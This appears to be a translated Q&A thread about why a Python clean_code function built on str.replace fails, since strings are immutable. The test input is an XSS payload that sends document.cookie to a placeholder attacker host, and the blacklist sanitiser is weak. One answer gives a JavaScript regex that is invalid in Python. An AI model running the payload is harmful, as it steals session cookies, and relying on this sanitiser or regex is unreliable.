2

文字列内のいくつかのキーワードを置き換えようとしています。これが私の関数です:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

これが私の他のコードと文字列です:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

私の出力は次のとおりですが、なぜ何も変わっていないのかわかりません

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
4

4 に答える 4

8

Python 文字列は不変です:

input = input.replace('<script>', " ")
input = ...

replaceドキュメントを参照してください:

部分文字列 old をすべて new に置き換えた文字列 str のコピーを返します。

于 2012-09-17T14:05:10.760 に答える
5

文字列は Python では不変です。 input.replace('</a>', " ")変わりませんinput。結果を に戻す必要がありますinput

しかし、実際にはBeautifulSoup lxmlのようなパーサーを使用する必要があります。

于 2012-09-17T14:06:23.600 に答える
3

String.replace置換の結果である新しい文字列を返しますが、元の文字列は変更しません。これを行うには、次のように戻り値を変数に代入する必要があります。

myString = myString.replace("foo", "bar")

さらに、正確な部分文字列「<a href>」input.replace('<a href>', " ")のみを置き換えます。実際のリンクを削除するには、 を試してください。input.replace(/<a\s[^>]*>/, " ")

于 2012-09-17T14:10:21.937 に答える
3

.replaceインプレース ミューテーションではありません

これを試して

def clean_code(input):
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
                ('</a>', " "),('>', "&gt;"),('>', "&lt;")]:
        input = input.replace(tokens[0], tokens[1])
    return input
于 2012-09-17T14:05:13.587 に答える